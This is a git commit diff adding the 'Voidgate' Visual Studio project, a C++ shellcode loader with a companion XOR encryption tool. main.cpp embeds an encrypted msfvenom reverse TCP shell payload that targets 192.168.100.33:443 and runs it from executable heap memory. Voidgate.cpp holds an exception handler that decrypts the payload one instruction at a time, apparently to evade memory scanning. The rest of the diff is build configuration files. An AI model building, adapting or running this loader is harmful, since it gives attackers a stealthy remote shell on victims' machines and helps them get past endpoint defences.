mirror of
https://github.com/vxCrypt0r/Voidgate
synced 2026-06-08 18:05:48 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,41 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.6.33801.468
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Voidgate", "Voidgate\Voidgate.vcxproj", "{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "XorEncryptPayload", "XorEncryptPayload\XorEncryptPayload.vcxproj", "{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x64.Build.0 = Debug|x64
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Debug|x86.Build.0 = Debug|Win32
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x64.ActiveCfg = Release|x64
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x64.Build.0 = Release|x64
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x86.ActiveCfg = Release|Win32
|
||||
{C06BB3F0-CBDC-4384-84CF-21B7FE6DFE01}.Release|x86.Build.0 = Release|Win32
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x64.Build.0 = Debug|x64
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x64.ActiveCfg = Release|x64
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x64.Build.0 = Release|x64
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BBA575EC-0C7F-42E1-9B59-B7C9CCA522BA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {D3A25A49-D706-4A18-BFBF-50A5DC43A06E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,105 @@
|
||||
#include "Voidgate.h"
|
||||
#include "payload.h"
|
||||
|
||||
|
||||
DWORD64 payload_base = 0; //Global var holding the base address of the payload (entrypoint).
|
||||
DWORD64 payload_lower_bound = 0; //Global var holding the LOWER BOUND of the payload (used to determine if the exception occurs in our payload).
|
||||
DWORD64 payload_upper_bound = 0; //Global var holding the UPPER BOUND of the payload (used to determine if the exception occurs in our payload).
|
||||
DWORD64 last_decrypted_asm = 0; //Global var holding the address of the last decrypted ASM instruction. This is used to encrypt back the instruction at the next iteration.
|
||||
|
||||
LONG VehDecryptHeapAsm(EXCEPTION_POINTERS* ExceptionInfo)
|
||||
{
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
|
||||
{
|
||||
//If hardware breakpoint Dr0 is set, clear it
|
||||
if (ExceptionInfo->ContextRecord->Dr0)
|
||||
{
|
||||
ExceptionInfo->ContextRecord->Dr0 = 0;
|
||||
}
|
||||
|
||||
//Set TRAP flag to generate next EXCEPTION_SINGLE_STEP
|
||||
ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
|
||||
|
||||
//If shellcode is not in our bound, continue without encryption/decryption (example: if our shellcode executes a function in kernel32.dll)
|
||||
if (ExceptionInfo->ContextRecord->Rip < payload_lower_bound || ExceptionInfo->ContextRecord->Rip > payload_upper_bound)
|
||||
{
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
|
||||
DWORD64 current_asm_addr = ExceptionInfo->ContextRecord->Rip;
|
||||
|
||||
//If there was a previous decrypted ASM instruction,encrypt it back
|
||||
if (last_decrypted_asm)
|
||||
{
|
||||
DWORD key_index = GetXorKeyIndexForAsm(payload_base, last_decrypted_asm, key);
|
||||
|
||||
PBYTE addr_last_decrypted_asm = (PBYTE)last_decrypted_asm;
|
||||
for (INT i = 0; i < MAX_X64_ASM_OPCODE_LEN; i++)
|
||||
{
|
||||
if (key_index == key.size())
|
||||
{
|
||||
key_index = 0;
|
||||
}
|
||||
addr_last_decrypted_asm[i] = addr_last_decrypted_asm[i] ^ key[key_index];
|
||||
key_index++;
|
||||
}
|
||||
}
|
||||
|
||||
//Decrypt the current ASM instruction to prepare it for execution
|
||||
PBYTE current_asm = (PBYTE)current_asm_addr;
|
||||
DWORD keyIndex = GetXorKeyIndexForAsm(payload_base, current_asm_addr, key);
|
||||
for (INT i = 0; i < MAX_X64_ASM_OPCODE_LEN; i++)
|
||||
{
|
||||
if (keyIndex == key.size())
|
||||
{
|
||||
keyIndex = 0;
|
||||
}
|
||||
current_asm[i] = current_asm[i] ^ key[keyIndex];
|
||||
keyIndex++;
|
||||
}
|
||||
|
||||
//Save the last decrypted ASM address to encrypt it at the next iteration
|
||||
last_decrypted_asm = current_asm_addr;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
else
|
||||
{
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
BOOL SetHardwareBreakpoint(PVOID address_of_breakpoint)
|
||||
{
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
HANDLE currentThread = GetCurrentThread();
|
||||
DWORD status = GetThreadContext(currentThread, &ctx);
|
||||
|
||||
ctx.Dr0 = (UINT64)address_of_breakpoint;
|
||||
ctx.Dr7 |= (1 << 0); //GLOBAL BREAKPOINT
|
||||
ctx.Dr7 &= ~(1 << 16);
|
||||
ctx.Dr7 &= ~(1 << 17);
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
if (!SetThreadContext(currentThread, &ctx)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
DWORD GetXorKeyIndexForAsm(DWORD64 shellcode_base, DWORD64 current_asm_addr, std::string key)
|
||||
{
|
||||
DWORD keySize = key.size();
|
||||
DWORD64 difference = current_asm_addr - shellcode_base;
|
||||
DWORD characterOffset = difference % (keySize);
|
||||
return characterOffset;
|
||||
}
|
||||
|
||||
void LogWinapiError(std::string failedFunction)
|
||||
{
|
||||
std::cout << "[X] ERROR - " << failedFunction << " failed with error code: " << GetLastError() << std::endl;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include <string.h>
|
||||
|
||||
constexpr DWORD SHELLCODE_PADDING = 0x20; // [SPONGE] padding for testing - removing later
|
||||
constexpr DWORD MAX_X64_ASM_OPCODE_LEN = 15; // maximum lenght of x64 asm instructions is 15 bytes
|
||||
|
||||
extern DWORD64 payload_base;
|
||||
extern DWORD64 payload_lower_bound;
|
||||
extern DWORD64 payload_upper_bound;
|
||||
extern DWORD64 last_decrypted_asm;
|
||||
|
||||
//This is the VEH routine responsible with encryption/decryption of each individual ASM instruction.
|
||||
//Each instruction is executes sequentially by setting the TRAP flag in EFlags register.
|
||||
//
|
||||
//NOTE:
|
||||
//The payload must respect the following requirements:
|
||||
// 1.) Single-threaded payload (Work-In-Progress)
|
||||
// 2.) Payload must not have values that must be read from the payload itself (such as having a string at the end of the payload that is referenced by a fixed offset.
|
||||
//
|
||||
//NOTE:
|
||||
//The more instructions and loops the payload executes, the more the actual execution of the payload is slowed down, since for each ASM instruction executed
|
||||
//the program will have to encrypt/decrypt them.
|
||||
LONG VehDecryptHeapAsm(EXCEPTION_POINTERS* ExceptionInfo);
|
||||
|
||||
//This function calculates the starting position inside the key for each iteration inside the VEH.
|
||||
//This starting position is used to determine the starting element inside the key that is used to encrypt/decrypt the ASM instruction.
|
||||
DWORD GetXorKeyIndexForAsm(DWORD64 shellcode_base, DWORD64 current_asm_addr, std::string key);
|
||||
|
||||
//[SPONGE]
|
||||
typedef NTSTATUS(WINAPI* VoidGate)(void);
|
||||
|
||||
//This function is responsible with setting the first HW Breakpoint on the payload entry point
|
||||
BOOL SetHardwareBreakpoint(PVOID addr);
|
||||
|
||||
//This function is responsible with logging any WINAPI errors that may occur.
|
||||
void LogWinapiError(std::string failedFunction);
|
||||
@@ -0,0 +1,140 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{c06bb3f0-cbdc-4384-84cf-21b7fe6dfe01}</ProjectGuid>
|
||||
<RootNamespace>Voidgate</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="Voidgate.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="payload.h" />
|
||||
<ClInclude Include="Voidgate.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,33 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Voidgate.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="payload.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Voidgate.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,49 @@
|
||||
#include "payload.h"
|
||||
#include "Voidgate.h"
|
||||
|
||||
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw (XORed)
|
||||
BYTE payload[] = { 0xcc, 0x2c, 0xc2, 0x80, 0xc2, 0xc9, 0x80, 0x42, 0x53, 0x31, 0x25, 0x25, 0x25, 0x13, 0x35, 0x1, 0x1b, 0x1f, 0x5e, 0x93, 0x55, 0x2c, 0xca, 0x36, 0x52, 0x69, 0xcb, 0x10, 0x4b, 0x79, 0xef, 0x26, 0x44, 0xb, 0xec, 0x22, 0x1d, 0x1f, 0x60, 0xf6, 0x7a, 0x2e, 0xc, 0x55, 0xfb, 0x69, 0x71, 0x82, 0xff, 0xd, 0x5, 0x8, 0x66, 0x6f, 0x47, 0x11, 0x8c, 0x9e, 0x62, 0x0, 0x31, 0xa5, 0xa3, 0x89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1, 0x9f, 0xd2, 0x54, 0x45, 0xf9, 0x14, 0x22, 0x16, 0x1b, 0xe, 0x43, 0x3e, 0x11, 0xc4, 0x8d, 0x90, 0x94 };
|
||||
DWORD payload_size = sizeof(payload);
|
||||
|
||||
//XOR key for the encrypted payload
|
||||
std::string key = "0dAd2!@BS1dtdCgPMWoA";
|
||||
|
||||
INT main()
|
||||
{
|
||||
//Calculate the memory_size adding PADDING at the begining and at the end
|
||||
DWORD memory_size = SHELLCODE_PADDING + payload_size + SHELLCODE_PADDING;
|
||||
|
||||
//Allocate memory for the payload
|
||||
PVOID heap_memory = VirtualAlloc(NULL, memory_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!heap_memory)
|
||||
{
|
||||
LogWinapiError("VirtualAlloc");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
//Calculate the memory bounds of our payload and save them to global var
|
||||
payload_lower_bound = (DWORD64)heap_memory;
|
||||
payload_upper_bound = payload_lower_bound + memory_size;
|
||||
|
||||
//Fill memory with NOP Sled and copy the payload to the heap memory
|
||||
memset(heap_memory, '\x90', memory_size);
|
||||
PVOID payload_entry = (PBYTE)heap_memory + SHELLCODE_PADDING;
|
||||
memcpy(payload_entry, payload, payload_size);
|
||||
|
||||
payload_base = (DWORD64)payload_entry;
|
||||
|
||||
//Put a HW Breakpoint on our payload entry point
|
||||
DWORD status = SetHardwareBreakpoint(payload_entry);
|
||||
|
||||
//Install VEH to handle the payload decryption/encryption after each ASM instruction executed by the payload
|
||||
PVOID veh = AddVectoredExceptionHandler(1, &VehDecryptHeapAsm);
|
||||
if (veh)
|
||||
{
|
||||
VoidGate vg = (VoidGate)payload_entry;
|
||||
vg();
|
||||
}
|
||||
|
||||
//Cleanup
|
||||
VirtualFree(heap_memory, 0, MEM_RELEASE);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include<Windows.h>
|
||||
#include<string>
|
||||
|
||||
|
||||
|
||||
extern BYTE payload[]; //Global variable holding the payload that needs to be executed.
|
||||
extern DWORD payload_size; //Global variable holdingt he payload size.
|
||||
extern std::string key; //Global variable holding the key for the XOR encrypted payload.
|
||||
@@ -0,0 +1,106 @@
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
|
||||
void PrintWinapiError(std::string failedFuncName)
|
||||
{
|
||||
std::cout << "[X] ERROR - WINAPI " + failedFuncName + " failed with error code: 0x" << std::hex << GetLastError() << std::endl;
|
||||
}
|
||||
void PrintProgramFail(std::string failMessage)
|
||||
{
|
||||
std::cout << "[X] FAIL - " + failMessage << std::endl;
|
||||
}
|
||||
|
||||
BOOL CheckProgramArgs(INT argc, CHAR** argv)
|
||||
{
|
||||
if (argc != 2)
|
||||
{
|
||||
std::cout << "[X] ERROR - Provide path to payload to XOR encrypt... Example:" << std::endl;
|
||||
std::cout << argv[0] << +" C:\\Windows\\temp\\payload.bin" << std::endl;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
void XorEncryptPayload(PBYTE dataToEncrypt, DWORD64 dataSize, std::string xorKey)
|
||||
{
|
||||
std::cout << "{ ";
|
||||
INT keyReadIndex = 0;
|
||||
for (INT i = 0; i < dataSize; i++)
|
||||
{
|
||||
if (keyReadIndex == xorKey.size())
|
||||
{
|
||||
keyReadIndex = 0;
|
||||
}
|
||||
|
||||
dataToEncrypt[i] ^= xorKey[keyReadIndex];
|
||||
std::cout << " 0x" << std::hex << (DWORD)dataToEncrypt[i];
|
||||
if (i < dataSize - 1)
|
||||
{
|
||||
std::cout << ",";
|
||||
}
|
||||
keyReadIndex++;
|
||||
}
|
||||
std::cout << " }; " << std::endl;
|
||||
}
|
||||
|
||||
INT main(INT argc, CHAR** argv)
|
||||
{
|
||||
|
||||
if (!CheckProgramArgs(argc, argv))
|
||||
{
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
HANDLE fileHandle = INVALID_HANDLE_VALUE;
|
||||
PVOID fileData = nullptr;
|
||||
LARGE_INTEGER fileSize = { 0 };
|
||||
DWORD bytesRead = 0;
|
||||
DWORD status = 0;
|
||||
|
||||
std::string xorKey = "0dAd2!@BS1dtdCgPMWoA";
|
||||
|
||||
fileHandle = CreateFileA(argv[1], GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (fileHandle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
PrintWinapiError("CreateFileA");
|
||||
PrintProgramFail("Failed to get a handle to the file... Exiting...");
|
||||
status = EXIT_FAILURE;
|
||||
goto exit;
|
||||
}
|
||||
|
||||
|
||||
if (!GetFileSizeEx(fileHandle, &fileSize))
|
||||
{
|
||||
PrintWinapiError("GetFileSizeEx");
|
||||
PrintProgramFail("Failed to get the size of the file... Exiting...");
|
||||
status = EXIT_FAILURE;
|
||||
goto exit_close_file_handle;
|
||||
}
|
||||
|
||||
fileData = VirtualAlloc(NULL, fileSize.QuadPart, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!fileData)
|
||||
{
|
||||
PrintWinapiError("VirtualAlloc");
|
||||
PrintProgramFail("Failed to allocate memory to read the contents of the file... Exiting...");
|
||||
status = EXIT_FAILURE;
|
||||
goto exit_close_file_handle;
|
||||
}
|
||||
|
||||
if (!ReadFile(fileHandle, fileData, fileSize.QuadPart, &bytesRead, NULL))
|
||||
{
|
||||
PrintWinapiError("ReadFile");
|
||||
PrintProgramFail("Failed to read the file data... Exiting...");
|
||||
status = EXIT_FAILURE;
|
||||
goto exit_free_memory;
|
||||
}
|
||||
|
||||
XorEncryptPayload((PBYTE)fileData, fileSize.QuadPart, xorKey);
|
||||
status = EXIT_SUCCESS;
|
||||
|
||||
|
||||
exit_free_memory:
|
||||
VirtualFree(fileData, NULL, MEM_RELEASE);
|
||||
exit_close_file_handle:
|
||||
CloseHandle(fileHandle);
|
||||
exit:
|
||||
return status;
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{bba575ec-0c7f-42e1-9b59-b7c9cca522ba}</ProjectGuid>
|
||||
<RootNamespace>XorEncryptPayload</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
